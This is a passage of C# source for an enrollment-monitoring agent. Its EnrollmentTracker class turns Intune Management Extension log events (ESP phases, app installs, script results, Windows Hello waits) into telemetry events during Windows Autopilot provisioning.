|
||||
/// <summary>
|
||||
/// Partial: IME log event handlers (ESP phase, app state, script completion, etc.).
|
||||
/// </summary>
|
||||
public partial class EnrollmentTracker
|
||||
{
|
||||
/// <summary>
|
||||
/// Wraps _emitEvent and automatically injects the current ImeLogTracker patternId into event Data.
|
||||
/// Use this for all events emitted from ImeLogTracker callback handlers.
|
||||
/// </summary>
|
||||
private void EmitImeTrackerEvent(EnrollmentEvent evt)
|
||||
{
|
||||
var logTimestamp = _imeLogTracker?.LastMatchedLogTimestamp;
|
||||
if (logTimestamp.HasValue)
|
||||
evt.Timestamp = logTimestamp.Value;
|
||||
|
||||
var patternId = _imeLogTracker?.LastMatchedPatternId;
|
||||
if (!string.IsNullOrEmpty(patternId))
|
||||
{
|
||||
if (evt.Data == null)
|
||||
evt.Data = new Dictionary<string, object>();
|
||||
evt.Data["patternId"] = patternId;
|
||||
}
|
||||
_emitEvent(evt);
|
||||
}
|
||||
|
||||
private void HandleEspPhaseChanged(string phase)
|
||||
{
|
||||
string lastPhase;
|
||||
bool tracksEspPhases;
|
||||
lock (_stateLock)
|
||||
{
|
||||
tracksEspPhases = _flowHandler.TracksEspPhases;
|
||||
lastPhase = _lastEspPhase;
|
||||
}
|
||||
|
||||
// Flows that do not track ESP phases (DevPrep/WDP) ignore these events entirely.
|
||||
if (!tracksEspPhases)
|
||||
{
|
||||
_logger.Debug($"EnrollmentTracker: skipping ESP phase event — flow does not track ESP (phase: {phase})");
|
||||
return;
|
||||
}
|
||||
|
||||
// ESP resumed after final exit — only possible during hybrid join reboot recovery.
|
||||
// In hybrid join, ESP exits for a mid-enrollment reboot (domain user login required),
|
||||
// then the same phase re-appears in IME after the agent restarts. Reset completion state
|
||||
// so the agent waits for the real final exit instead of self-destructing prematurely.
|
||||
// Non-hybrid scenarios can see the same phase re-reported by IME (e.g., during user
|
||||
// session completion) which is NOT a real resumption — skip the reset entirely.
|
||||
bool espFinalExitSeen;
|
||||
lock (_stateLock) { espFinalExitSeen = _espFinalExitSeen; }
|
||||
|
||||
if (_isHybridJoin && espFinalExitSeen && string.Equals(phase, lastPhase, StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
_logger.Info($"EnrollmentTracker: ESP phase '{phase}' re-detected after final exit — " +
|
||||
"ESP has resumed (hybrid join reboot recovery), resetting completion state");
|
||||
lock (_stateLock)
|
||||
{
|
||||
_espFinalExitSeen = false;
|
||||
_stateData.EspFinalExitSeen = false;
|
||||
_stateData.EspFinalExitUtc = null;
|
||||
}
|
||||
_statePersistence.Save(_stateData); // Immediate persist — ESP resumed resets final exit, must survive crash
|
||||
RecordSignal("esp_resumed");
|
||||
_espAndHelloTracker?.ResetForEspResumption();
|
||||
|
||||
_emitEvent(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _sessionId,
|
||||
TenantId = _tenantId,
|
||||
EventType = "esp_resumed",
|
||||
Severity = EventSeverity.Info,
|
||||
Source = "EnrollmentTracker",
|
||||
Phase = EnrollmentPhase.AccountSetup,
|
||||
Message = $"ESP phase '{phase}' re-detected after final exit — enrollment resumed after reboot",
|
||||
Data = new Dictionary<string, object>
|
||||
{
|
||||
{ "espPhase", phase },
|
||||
{ "isHybridJoin", _isHybridJoin }
|
||||
},
|
||||
ImmediateUpload = true
|
||||
});
|
||||
|
||||
// Shadow state machine: track ESP resumed
|
||||
ShadowProcessTrigger("esp_resumed");
|
||||
return;
|
||||
}
|
||||
|
||||
// Only emit event if the phase has actually changed
|
||||
if (string.Equals(phase, lastPhase, StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
_logger.Debug($"EnrollmentTracker: ESP phase unchanged ({phase}), skipping event");
|
||||
return;
|
||||
}
|
||||
|
||||
// AccountSetup verification: during WhiteGlove pre-provisioning the ESP briefly enters
|
||||
// AccountSetup before WhiteGlove success, but no real user has signed in (only defaultuser0
|
||||
// exists). Suppress the phase event to avoid a fake AccountSetup on the timeline.
|
||||
// The ImeLogTracker has already updated its internal phase tracking (ignore lists, phase order)
|
||||
// which is correct — we only suppress the event emission to the backend.
|
||||
if (string.Equals(phase, "AccountSetup", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
var hasReal = HasRealUserProfile();
|
||||
_logger.Debug($"EnrollmentTracker: AccountSetup verification — HasRealUserProfile={hasReal}");
|
||||
if (!hasReal)
|
||||
{
|
||||
_logger.Info("EnrollmentTracker: AccountSetup suppressed — no real user profile (likely WhiteGlove)");
|
||||
EmitTraceEvent("AccountSetup_suppressed",
|
||||
"ESP reported AccountSetup but no real user profile found — likely WhiteGlove pre-provisioning",
|
||||
new Dictionary<string, object> { { "espPhase", phase }, { "previousPhase", lastPhase ?? "null" } });
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
_logger.Info($"EnrollmentTracker: ESP phase changed from '{lastPhase ?? "null"}' to '{phase}'");
|
||||
lock (_stateLock)
|
||||
{
|
||||
_lastEspPhase = phase;
|
||||
_hasAutoSwitchedToAppsPhase = false; // Reset when ESP phase changes
|
||||
_espEverSeen = true;
|
||||
_stateData.EspEverSeen = true;
|
||||
_stateData.LastEspPhase = phase;
|
||||
if (_stateData.EspFirstSeenUtc == null)
|
||||
_stateData.EspFirstSeenUtc = DateTime.UtcNow;
|
||||
}
|
||||
_statePersistence.Save(_stateData); // Immediate persist — ESP phase + espEverSeen must survive reboot
|
||||
RecordSignal($"esp_phase_{phase}");
|
||||
|
||||
// ESP phase change means ESP is progressing — cancel any pending failure grace period
|
||||
CancelPendingEspFailure();
|
||||
|
||||
// Cancel device-only ESP timer if AccountSetup phase detected
|
||||
if (string.Equals(phase, "AccountSetup", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
if (_deviceOnlyEspTimer != null)
|
||||
{
|
||||
_logger.Info("EnrollmentTracker: AccountSetup detected — cancelling device-only ESP timer");
|
||||
_deviceOnlyEspTimer.Dispose();
|
||||
_deviceOnlyEspTimer = null;
|
||||
}
|
||||
}
|
||||
|
||||
// Map ESP phase to EnrollmentPhase (phase change events)
|
||||
var enrollmentPhase = EnrollmentPhase.DeviceSetup;
|
||||
if (string.Equals(phase, "AccountSetup", StringComparison.OrdinalIgnoreCase))
|
||||
enrollmentPhase = EnrollmentPhase.AccountSetup;
|
||||
|
||||
EmitImeTrackerEvent(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _sessionId,
|
||||
TenantId = _tenantId,
|
||||
EventType = "esp_phase_changed",
|
||||
Severity = EventSeverity.Info,
|
||||
Source = "ImeLogTracker",
|
||||
Phase = enrollmentPhase,
|
||||
Message = $"ESP phase: {phase}",
|
||||
Data = new Dictionary<string, object> { { "espPhase", phase } },
|
||||
ImmediateUpload = true
|
||||
});
|
||||
|
||||
// Re-collect enrollment-dependent device info (AAD join, profile, ESP config)
|
||||
// that may have been empty at startup (bootstrap / pre-enrollment scenario).
|
||||
CollectDeviceInfoAtEnrollmentStart();
|
||||
|
||||
// Check for ConfigMgr client at phase transitions (may arrive after agent startup)
|
||||
Task.Run(() => CheckConfigMgrClient(
|
||||
enrollmentPhase == EnrollmentPhase.AccountSetup ? "account_setup" : "device_setup"));
|
||||
|
||||
// Start summary timer when we detect ESP phase
|
||||
if (!_summaryTimerActive)
|
||||
{
|
||||
_summaryTimerActive = true;
|
||||
_summaryTimer?.Change(TimeSpan.FromSeconds(30), TimeSpan.FromSeconds(30));
|
||||
}
|
||||
if (!_debugStateTimerActive)
|
||||
{
|
||||
_debugStateTimerActive = true;
|
||||
_debugStateTimer?.Change(TimeSpan.FromSeconds(60), TimeSpan.FromSeconds(60));
|
||||
}
|
||||
|
||||
// Shadow state machine: track ESP phase change
|
||||
ShadowProcessTrigger("esp_phase_changed");
|
||||
}
|
||||
|
||||
private void HandleImeAgentVersion(string version)
|
||||
{
|
||||
EmitImeTrackerEvent(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _sessionId,
|
||||
TenantId = _tenantId,
|
||||
EventType = "ime_agent_version",
|
||||
Severity = EventSeverity.Info,
|
||||
Source = "ImeLogTracker",
|
||||
Phase = EnrollmentPhase.Unknown,
|
||||
Message = $"IME Agent version: {version}",
|
||||
Data = new Dictionary<string, object> { { "agentVersion", version } }
|
||||
});
|
||||
}
|
||||
|
||||
private void HandleImeStarted()
|
||||
{
|
||||
_logger.Info("EnrollmentTracker: IME started event");
|
||||
}
|
||||
|
||||
private void HandleAppStateChanged(AppPackageState app, AppInstallationState oldState, AppInstallationState newState)
|
||||
{
|
||||
_logger.Verbose($"EnrollmentTracker: app state change '{app.Name ?? app.Id}': {oldState} -> {newState}");
|
||||
|
||||
// Auto-switch to app installation phase when first app activity detected
|
||||
// If we're in DeviceSetup and an app starts downloading/installing, switch to AppsDevice
|
||||
// If we're in AccountSetup and an app starts downloading/installing, switch to AppsUser
|
||||
bool hasAutoSwitched;
|
||||
string currentPhase;
|
||||
lock (_stateLock)
|
||||
{
|
||||
hasAutoSwitched = _hasAutoSwitchedToAppsPhase;
|
||||
currentPhase = _lastEspPhase;
|
||||
}
|
||||
|
||||
if (!hasAutoSwitched &&
|
||||
(newState == AppInstallationState.Downloading || newState == AppInstallationState.Installing) &&
|
||||
oldState < AppInstallationState.Downloading)
|
||||
{
|
||||
if (currentPhase != null)
|
||||
{
|
||||
if (string.Equals(currentPhase, "DeviceSetup", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
// Switch from DeviceSetup to AppsDevice
|
||||
_logger.Info($"EnrollmentTracker: First app activity detected during DeviceSetup, switching to AppsDevice phase");
|
||||
lock (_stateLock) { _hasAutoSwitchedToAppsPhase = true; }
|
||||
EmitImeTrackerEvent(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _sessionId,
|
||||
TenantId = _tenantId,
|
||||
EventType = "esp_phase_changed",
|
||||
Severity = EventSeverity.Info,
|
||||
Source = "EnrollmentTracker",
|
||||
Phase = EnrollmentPhase.AppsDevice,
|
||||
Message = "ESP phase: AppsDevice (auto-detected from app activity)",
|
||||
Data = new Dictionary<string, object> { { "espPhase", "AppsDevice" }, { "autoDetected", true } },
|
||||
ImmediateUpload = true
|
||||
});
|
||||
}
|
||||
else if (string.Equals(currentPhase, "AccountSetup", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
// Switch from AccountSetup to AppsUser
|
||||
_logger.Info($"EnrollmentTracker: First app activity detected during AccountSetup, switching to AppsUser phase");
|
||||
lock (_stateLock) { _hasAutoSwitchedToAppsPhase = true; }
|
||||
EmitImeTrackerEvent(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _sessionId,
|
||||
TenantId = _tenantId,
|
||||
EventType = "esp_phase_changed",
|
||||
Severity = EventSeverity.Info,
|
||||
Source = "EnrollmentTracker",
|
||||
Phase = EnrollmentPhase.AppsUser,
|
||||
Message = "ESP phase: AppsUser (auto-detected from app activity)",
|
||||
Data = new Dictionary<string, object> { { "espPhase", "AppsUser" }, { "autoDetected", true } },
|
||||
ImmediateUpload = true
|
||||
});
|
||||
}
|
||||
else if (string.Equals(currentPhase, "FinalizingSetup", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
// SkipUserStatusPage flow: apps starting after FinalizingSetup are background user apps
|
||||
_logger.Info($"EnrollmentTracker: First app activity detected during FinalizingSetup (SkipUserStatusPage), switching to AppsUser phase");
|
||||
lock (_stateLock) { _hasAutoSwitchedToAppsPhase = true; }
|
||||
EmitImeTrackerEvent(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _sessionId,
|
||||
TenantId = _tenantId,
|
||||
EventType = "esp_phase_changed",
|
||||
Severity = EventSeverity.Info,
|
||||
Source = "EnrollmentTracker",
|
||||
Phase = EnrollmentPhase.AppsUser,
|
||||
Message = "ESP phase: AppsUser (auto-detected from app activity)",
|
||||
Data = new Dictionary<string, object> { { "espPhase", "AppsUser" }, { "autoDetected", true } },
|
||||
ImmediateUpload = true
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Only emit strategic events for significant state transitions
|
||||
string eventType;
|
||||
var severity = EventSeverity.Info;
|
||||
var phase = EnrollmentPhase.Unknown; // Apps set to Unknown, will be sorted chronologically into active phase
|
||||
|
||||
switch (newState)
|
||||
{
|
||||
case AppInstallationState.Downloading:
|
||||
// Emit strategic event once when download starts
|
||||
if (oldState < AppInstallationState.Downloading)
|
||||
{
|
||||
eventType = "app_download_started";
|
||||
}
|
||||
else
|
||||
{
|
||||
// Emit debug event for download progress updates
|
||||
// Skip if no real download data (bytesTotal too small or zero)
|
||||
if (app.BytesTotal > 1024) // At least 1 KB to be a real download
|
||||
{
|
||||
EmitImeTrackerEvent(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _sessionId,
|
||||
TenantId = _tenantId,
|
||||
EventType = "download_progress",
|
||||
Severity = EventSeverity.Debug,
|
||||
Source = "ImeLogTracker",
|
||||
Phase = phase,
|
||||
Message = $"{app.Name ?? app.Id}: {app.ProgressPercent}%",
|
||||
Data = app.ToEventData()
|
||||
});
|
||||
}
|
||||
return; // Skip main event emission below
|
||||
}
|
||||
break;
|
||||
|
||||
case AppInstallationState.Installing:
|
||||
// Only emit the strategic event once when install actually starts.
|
||||
// Progress-only updates (oldState == Installing, just progress/bytes changed)
|
||||
// are skipped — same pattern as Downloading above.
|
||||
if (oldState == AppInstallationState.Installing)
|
||||
return;
|
||||
eventType = "app_install_started";
|
||||
break;
|
||||
|
||||
case AppInstallationState.Installed:
|
||||
eventType = "app_install_completed";
|
||||
// Emit download_progress event for download manager (shows as completed)
|
||||
EmitImeTrackerEvent(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _sessionId,
|
||||
TenantId = _tenantId,
|
||||
EventType = "download_progress",
|
||||
Severity = EventSeverity.Debug,
|
||||
Source = "ImeLogTracker",
|
||||
Phase = phase,
|
||||
Message = $"{app.Name ?? app.Id}: completed",
|
||||
Data = new Dictionary<string, object>(app.ToEventData())
|
||||
{
|
||||
["status"] = "completed"
|
||||
}
|
||||
});
|
||||
break;
|
||||
|
||||
case AppInstallationState.Skipped:
|
||||
eventType = "app_install_skipped";
|
||||
break;
|
||||
|
||||
case AppInstallationState.Error:
|
||||
eventType = "app_install_failed";
|
||||
severity = EventSeverity.Error;
|
||||
// Emit download_progress event for download manager (shows as failed)
|
||||
EmitImeTrackerEvent(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _sessionId,
|
||||
TenantId = _tenantId,
|
||||
EventType = "download_progress",
|
||||
Severity = EventSeverity.Debug,
|
||||
Source = "ImeLogTracker",
|
||||
Phase = phase,
|
||||
Message = $"{app.Name ?? app.Id}: failed",
|
||||
Data = new Dictionary<string, object>(app.ToEventData())
|
||||
{
|
||||
["status"] = "failed"
|
||||
}
|
||||
});
|
||||
break;
|
||||
|
||||
case AppInstallationState.Postponed:
|
||||
eventType = "app_install_postponed";
|
||||
severity = EventSeverity.Warning;
|
||||
break;
|
||||
|
||||
default:
|
||||
return; // Don't emit for Unknown, NotInstalled, InProgress
|
||||
}
|
||||
|
||||
// Build a descriptive message: include error detail if available
|
||||
var message = $"{app.Name ?? app.Id}: {newState}";
|
||||
if (newState == AppInstallationState.Error && !string.IsNullOrEmpty(app.ErrorDetail))
|
||||
message = $"{app.Name ?? app.Id}: {app.ErrorDetail}";
|
||||
|
||||
EmitImeTrackerEvent(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _sessionId,
|
||||
TenantId = _tenantId,
|
||||
EventType = eventType,
|
||||
Severity = severity,
|
||||
Source = "ImeLogTracker",
|
||||
Phase = phase,
|
||||
Message = message,
|
||||
Data = app.ToEventData(),
|
||||
ImmediateUpload = true
|
||||
});
|
||||
|
||||
// Emit summary immediately if state-breakdown counters changed (instant UI updates)
|
||||
EmitAppTrackingSummaryIfChanged();
|
||||
}
|
||||
|
||||
private void HandlePoliciesDiscovered(string policiesJson)
|
||||
{
|
||||
_logger.Info($"EnrollmentTracker: policies discovered, tracking {_imeLogTracker.PackageStates.Count} apps");
|
||||
}
|
||||
|
||||
private void HandleAllAppsCompleted()
|
||||
{
|
||||
_logger.Info("EnrollmentTracker: all apps completed");
|
||||
|
||||
// Stop timers
|
||||
_summaryTimer?.Change(Timeout.Infinite, Timeout.Infinite);
|
||||
_summaryTimerActive = false;
|
||||
_debugStateTimer?.Change(Timeout.Infinite, Timeout.Infinite);
|
||||
_debugStateTimerActive = false;
|
||||
|
||||
// Emit final summary
|
||||
EmitAppTrackingSummary();
|
||||
|
||||
// Note: Phase transition to FinalizingSetup is now handled by Shell-Core events
|
||||
// (ESP exit or Hello wizard start) for more robust detection.
|
||||
// We no longer automatically transition here when apps complete.
|
||||
string phaseSnap;
|
||||
lock (_stateLock) { phaseSnap = _lastEspPhase; }
|
||||
if (phaseSnap != null)
|
||||
{
|
||||
_logger.Info($"EnrollmentTracker: All apps completed while in phase '{phaseSnap}'");
|
||||
_logger.Info("EnrollmentTracker: Waiting for ESP exit or Hello wizard events to transition to FinalizingSetup");
|
||||
}
|
||||
}
|
||||
|
||||
private void HandleDoTelemetryReceived(AppPackageState app)
|
||||
{
|
||||
_logger.Info($"EnrollmentTracker: DO telemetry received for {app.Name ?? app.Id}");
|
||||
|
||||
var phase = EnrollmentPhase.Unknown;
|
||||
|
||||
// Dedicated do_telemetry event for backend aggregation
|
||||
EmitImeTrackerEvent(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _sessionId,
|
||||
TenantId = _tenantId,
|
||||
EventType = "do_telemetry",
|
||||
Severity = EventSeverity.Info,
|
||||
Source = "ImeLogTracker",
|
||||
Phase = phase,
|
||||
Message = $"{app.Name ?? app.Id}: DO complete - {app.DoPercentPeerCaching}% peers, mode={app.DoDownloadMode}",
|
||||
Data = app.ToEventData(),
|
||||
ImmediateUpload = true
|
||||
});
|
||||
|
||||
// Also emit download_progress so the UI picks up DO stats
|
||||
EmitImeTrackerEvent(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _sessionId,
|
||||
TenantId = _tenantId,
|
||||
EventType = "download_progress",
|
||||
Severity = EventSeverity.Debug,
|
||||
Source = "ImeLogTracker",
|
||||
Phase = phase,
|
||||
Message = $"{app.Name ?? app.Id}: DO telemetry received",
|
||||
Data = app.ToEventData(),
|
||||
ImmediateUpload = true
|
||||
});
|
||||
}
|
||||
|
||||
private void HandleScriptCompleted(ScriptExecutionState script)
|
||||
{
|
||||
if (script == null || string.IsNullOrEmpty(script.PolicyId))
|
||||
{
|
||||
_logger.Debug($"EnrollmentTracker: HandleScriptCompleted — skipped (script={script != null}, policyId='{script?.PolicyId}')");
|
||||
return;
|
||||
}
|
||||
|
||||
var isSuccess = string.Equals(script.Result, "Success", StringComparison.OrdinalIgnoreCase)
|
||||
|| (script.ExitCode.HasValue && script.ExitCode.Value == 0 && string.IsNullOrEmpty(script.Result));
|
||||
|
||||
var eventType = isSuccess
|
||||
? Constants.EventTypes.ScriptCompleted
|
||||
: Constants.EventTypes.ScriptFailed;
|
||||
|
||||
var severity = isSuccess ? EventSeverity.Info : EventSeverity.Warning;
|
||||
|
||||
// Build human-readable message
|
||||
string shortId = script.PolicyId.Length >= 8 ? script.PolicyId.Substring(0, 8) : script.PolicyId;
|
||||
string message;
|
||||
if (string.Equals(script.ScriptType, "remediation", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
var complianceStr = string.Equals(script.ComplianceResult, "True", StringComparison.OrdinalIgnoreCase)
|
||||
? "Compliant" : "Non-compliant";
|
||||
message = $"Remediation {script.ScriptPart ?? "detection"} {shortId}: {complianceStr} (exit: {script.ExitCode ?? -1})";
|
||||
}
|
||||
else
|
||||
{
|
||||
message = $"Platform script {shortId}: {script.Result ?? "Unknown"} (exit: {script.ExitCode ?? -1})";
|
||||
}
|
||||
|
||||
// Add stderr hint to message if present
|
||||
if (!string.IsNullOrEmpty(script.Stderr) && script.Stderr.Trim().Length > 0)
|
||||
message += " - stderr present";
|
||||
|
||||
var data = new Dictionary<string, object>
|
||||
{
|
||||
["policyId"] = script.PolicyId,
|
||||
["scriptType"] = script.ScriptType ?? "platform",
|
||||
["exitCode"] = script.ExitCode ?? -1
|
||||
};
|
||||
|
||||
if (!string.IsNullOrEmpty(script.RunContext))
|
||||
data["runContext"] = script.RunContext;
|
||||
if (!string.IsNullOrEmpty(script.Result))
|
||||
data["result"] = script.Result;
|
||||
if (!string.IsNullOrEmpty(script.Stdout) && script.Stdout.Trim().Length > 0)
|
||||
data["stdout"] = script.Stdout;
|
||||
if (!string.IsNullOrEmpty(script.Stderr) && script.Stderr.Trim().Length > 0)
|
||||
data["stderr"] = script.Stderr;
|
||||
if (!string.IsNullOrEmpty(script.ComplianceResult))
|
||||
data["complianceResult"] = script.ComplianceResult;
|
||||
if (!string.IsNullOrEmpty(script.ScriptPart))
|
||||
data["scriptPart"] = script.ScriptPart;
|
||||
|
||||
EmitImeTrackerEvent(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _sessionId,
|
||||
TenantId = _tenantId,
|
||||
EventType = eventType,
|
||||
Severity = severity,
|
||||
Source = Constants.EventSources.IME,
|
||||
Phase = EnrollmentPhase.Unknown,
|
||||
Message = message,
|
||||
Data = data
|
||||
});
|
||||
|
||||
_logger.Info($"EnrollmentTracker: {message}");
|
||||
}
|
||||
|
||||
private void HandleImeSessionChange(string changeType)
|
||||
{
|
||||
EmitImeTrackerEvent(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _sessionId,
|
||||
TenantId = _tenantId,
|
||||
EventType = "ime_session_change",
|
||||
Severity = EventSeverity.Debug,
|
||||
Source = "ImeLogTracker",
|
||||
Phase = EnrollmentPhase.Unknown,
|
||||
Message = $"IME session change: {changeType}",
|
||||
Data = new Dictionary<string, object> { { "changeType", changeType ?? "" } }
|
||||
});
|
||||
}
|
||||
|
||||
private void HandleUserSessionCompleted()
|
||||
{
|
||||
_logger.Info("EnrollmentTracker: User session completed (detected from IME log)");
|
||||
_stateData.ImePatternSeenUtc = DateTime.UtcNow;
|
||||
RecordSignal("ime_pattern");
|
||||
|
||||
// Emit timeline event so admins can see exactly when IME finished its user part
|
||||
EmitImeTrackerEvent(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _sessionId,
|
||||
TenantId = _tenantId,
|
||||
EventType = "ime_user_session_completed",
|
||||
Severity = EventSeverity.Info,
|
||||
Source = "ImeLogTracker",
|
||||
Phase = EnrollmentPhase.Unknown,
|
||||
Message = "IME user session completed",
|
||||
Data = new Dictionary<string, object> { { "detectedAt", DateTime.UtcNow.ToString("o") } }
|
||||
});
|
||||
|
||||
// User session completed successfully — cancel any pending ESP failure
|
||||
CancelPendingEspFailure();
|
||||
|
||||
// Stop timers if running
|
||||
_summaryTimer?.Change(Timeout.Infinite, Timeout.Infinite);
|
||||
_summaryTimerActive = false;
|
||||
_debugStateTimer?.Change(Timeout.Infinite, Timeout.Infinite);
|
||||
_debugStateTimerActive = false;
|
||||
|
||||
// Device-only deployment (Self-Deploying or SkipUserStatusPage=true): skip Hello wait
|
||||
// entirely — no interactive user session means Hello provisioning cannot complete.
|
||||
bool isDeviceOnlySnap;
|
||||
int? autopilotModeSnap;
|
||||
bool? skipUserSnap;
|
||||
lock (_stateLock)
|
||||
{
|
||||
isDeviceOnlySnap = IsDeviceOnlyDeployment;
|
||||
autopilotModeSnap = _autopilotMode;
|
||||
skipUserSnap = _skipUserStatusPage;
|
||||
}
|
||||
|
||||
if (isDeviceOnlySnap)
|
||||
{
|
||||
_logger.Info($"EnrollmentTracker: Device-only deployment (autopilotMode={autopilotModeSnap}, skipUserStatusPage={skipUserSnap}) — skipping Hello wait, proceeding to completion");
|
||||
TryEmitEnrollmentComplete("ime_pattern");
|
||||
ShadowProcessTrigger("ime_user_session_completed");
|
||||
return;
|
||||
}
|
||||
|
||||
// Check if Windows Hello is configured but not yet completed
|
||||
if (_espAndHelloTracker != null)
|
||||
{
|
||||
bool helloPolicyConfigured = _espAndHelloTracker.IsPolicyConfigured;
|
||||
bool helloCompleted = _espAndHelloTracker.IsHelloCompleted;
|
||||
|
||||
if (helloPolicyConfigured && !helloCompleted)
|
||||
{
|
||||
// Hello is configured but not finished yet - DO NOT mark enrollment as complete
|
||||
_logger.Info("EnrollmentTracker: Windows Hello policy is configured but provisioning has not completed yet.");
|
||||
_logger.Info("EnrollmentTracker: Waiting for Hello provisioning to finish before marking enrollment as complete.");
|
||||
|
||||
EmitImeTrackerEvent(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _sessionId,
|
||||
TenantId = _tenantId,
|
||||
EventType = "waiting_for_hello",
|
||||
Severity = EventSeverity.Info,
|
||||
Source = "EnrollmentTracker",
|
||||
Phase = EnrollmentPhase.FinalizingSetup,
|
||||
Message = "User apps completed - waiting for Windows Hello provisioning to finish",
|
||||
ImmediateUpload = true
|
||||
});
|
||||
|
||||
// Set flag so we know we're waiting
|
||||
lock (_stateLock)
|
||||
{
|
||||
_isWaitingForHello = true;
|
||||
_stateData.IsWaitingForHello = true;
|
||||
_stateData.WaitingForHelloStartedUtc = DateTime.UtcNow;
|
||||
_stateDirty = true;
|
||||
}
|
||||
_statePersistence.Save(_stateData); // Immediate persist — summary timer was just stopped
|
||||
|
||||
// Defense-in-depth: Ensure Hello wait timer is running.
|
||||
// StartHelloWaitTimer() has internal guards (returns if timer already running,
|
||||
// if Hello already completed, or if wizard already started). Safe to call multiple times.
|
||||
_espAndHelloTracker?.StartHelloWaitTimer();
|
||||
|
||||
// Safety net: if Hello never resolves (timer chain fails, agent crash without restart),
|
||||
// force enrollment_complete after 7 minutes instead of waiting for the 6h max lifetime timer.
|
||||
_waitingForHelloSafetyTimer?.Dispose();
|
||||
_waitingForHelloSafetyTimer = new Timer(
|
||||
OnWaitingForHelloSafetyTimeout,
|
||||
null,
|
||||
TimeSpan.FromSeconds(WaitingForHelloSafetyTimeoutSeconds),
|
||||
TimeSpan.FromMilliseconds(-1));
|
||||
|
||||
ShadowProcessTrigger("ime_user_session_completed");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// ESP provisioning settle check: if ESP categories are still resolving in the registry,
|
||||
// wait up to 30s for Windows to finalize the outcomes before completing.
|
||||
// This catches cases where the agent started late and the ESP status hasn't settled yet.
|
||||
if (_espAndHelloTracker != null)
|
||||
{
|
||||
var snapshot = _espAndHelloTracker.GetProvisioningSnapshot();
|
||||
if (snapshot != null && snapshot.CategoriesSeen > 0 && !snapshot.AllResolved)
|
||||
{
|
||||
var unresolvedCategories = snapshot.CategoryOutcomes
|
||||
.Where(kvp => kvp.Value == "in_progress")
|
||||
.Select(kvp => kvp.Key)
|
||||
.ToList();
|
||||
|
||||
_logger.Info($"EnrollmentTracker: ESP provisioning categories not yet resolved " +
|
||||
$"({string.Join(", ", unresolvedCategories)}) — waiting up to {EspSettleTimeoutSeconds}s for settlement");
|
||||
|
||||
EmitImeTrackerEvent(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _sessionId,
|
||||
TenantId = _tenantId,
|
||||
EventType = "esp_provisioning_settle_started",
|
||||
Severity = EventSeverity.Info,
|
||||
Source = "EnrollmentTracker",
|
||||
Phase = EnrollmentPhase.Unknown,
|
||||
Message = $"ESP provisioning settle wait started — {unresolvedCategories.Count} category(ies) unresolved: {string.Join(", ", unresolvedCategories)}",
|
||||
Data = new Dictionary<string, object>
|
||||
{
|
||||
{ "unresolvedCategories", unresolvedCategories },
|
||||
{ "settleTimeoutSeconds", EspSettleTimeoutSeconds },
|
||||
{ "categoriesSeen", snapshot.CategoriesSeen },
|
||||
{ "categoriesResolved", snapshot.CategoriesResolved }
|
||||
},
|
||||
ImmediateUpload = true
|
||||
});
|
||||
|
||||
lock (_stateLock)
|
||||
{
|
||||
_isWaitingForEspSettle = true;
|
||||
_stateData.IsWaitingForEspSettle = true;
|
||||
_stateData.WaitingForEspSettleStartedUtc = DateTime.UtcNow;
|
||||
_stateDirty = true;
|
||||
}
|
||||
_statePersistence.Save(_stateData);
|
||||
|
||||
_waitingForEspSettleTimer?.Dispose();
|
||||
_waitingForEspSettleTimer = new Timer(
|
||||
OnEspSettleTimerExpired,
|
||||
null,
|
||||
TimeSpan.FromSeconds(EspSettleTimeoutSeconds),
|
||||
TimeSpan.FromMilliseconds(-1));
|
||||
|
||||
ShadowProcessTrigger("ime_user_session_completed");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
TryEmitEnrollmentComplete("ime_pattern");
|
||||
|
||||
// Shadow state machine: track IME user session completed
|
||||
ShadowProcessTrigger("ime_user_session_completed");
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Checks whether a real user profile exists in C:\Users\ (beyond system accounts).
|
||||
/// Used to verify AccountSetup phase: during WhiteGlove pre-provisioning only defaultuser0
|
||||
/// exists; in user-driven enrollment the signed-in user's profile is already created.
|
||||
/// </summary>
|
||||
private bool HasRealUserProfile()
|
||||
{
|
||||
try
|
||||
{
|
||||
var usersDir = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile);
|
||||
// Navigate to the Users root (parent of the current profile)
|
||||
usersDir = Path.GetDirectoryName(usersDir); // e.g. C:\Users
|
||||
if (string.IsNullOrEmpty(usersDir) || !Directory.Exists(usersDir))
|
||||
usersDir = @"C:\Users";
|
||||
|
||||
var excludedNames = new HashSet<string>(StringComparer.OrdinalIgnoreCase)
|
||||
{
|
||||
"defaultuser0", "defaultuser1", "Default", "Default User",
|
||||
"Public", "All Users", "Administrator", "Guest"
|
||||
};
|
||||
|
||||
foreach (var dir in Directory.GetDirectories(usersDir))
|
||||
{
|
||||
var name = Path.GetFileName(dir);
|
||||
if (excludedNames.Contains(name))
|
||||
continue;
|
||||
if (name.StartsWith("DefaultUser", StringComparison.OrdinalIgnoreCase))
|
||||
continue;
|
||||
|
||||
